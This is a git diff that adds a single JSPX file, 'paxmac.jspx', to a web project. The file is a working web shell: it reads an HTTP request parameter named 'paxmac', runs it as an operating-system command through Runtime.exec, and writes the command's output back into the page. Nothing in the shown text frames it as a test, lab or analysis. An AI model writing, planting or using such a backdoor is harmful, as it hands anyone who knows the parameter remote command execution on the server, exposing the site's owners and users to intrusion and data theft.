diff --git a/jsp/paxmac.jspx b/jsp/paxmac.jspx new file mode 100644 index 0000000..d056850 --- /dev/null +++ b/jsp/paxmac.jspx @@ -0,0 +1,35 @@ + + + + + + + jspx + + + + try { + String cmd = request.getParameter("paxmac"); + if (cmd !=null){ + Process child = Runtime.getRuntime().exec(cmd); + InputStream in = child.getInputStream(); + int c; + while ((c = in.read()) != -1) { + out.print((char)c); + } + in.close(); + try { + child.waitFor(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + } catch (IOException e) { + System.err.println(e); + } + + + +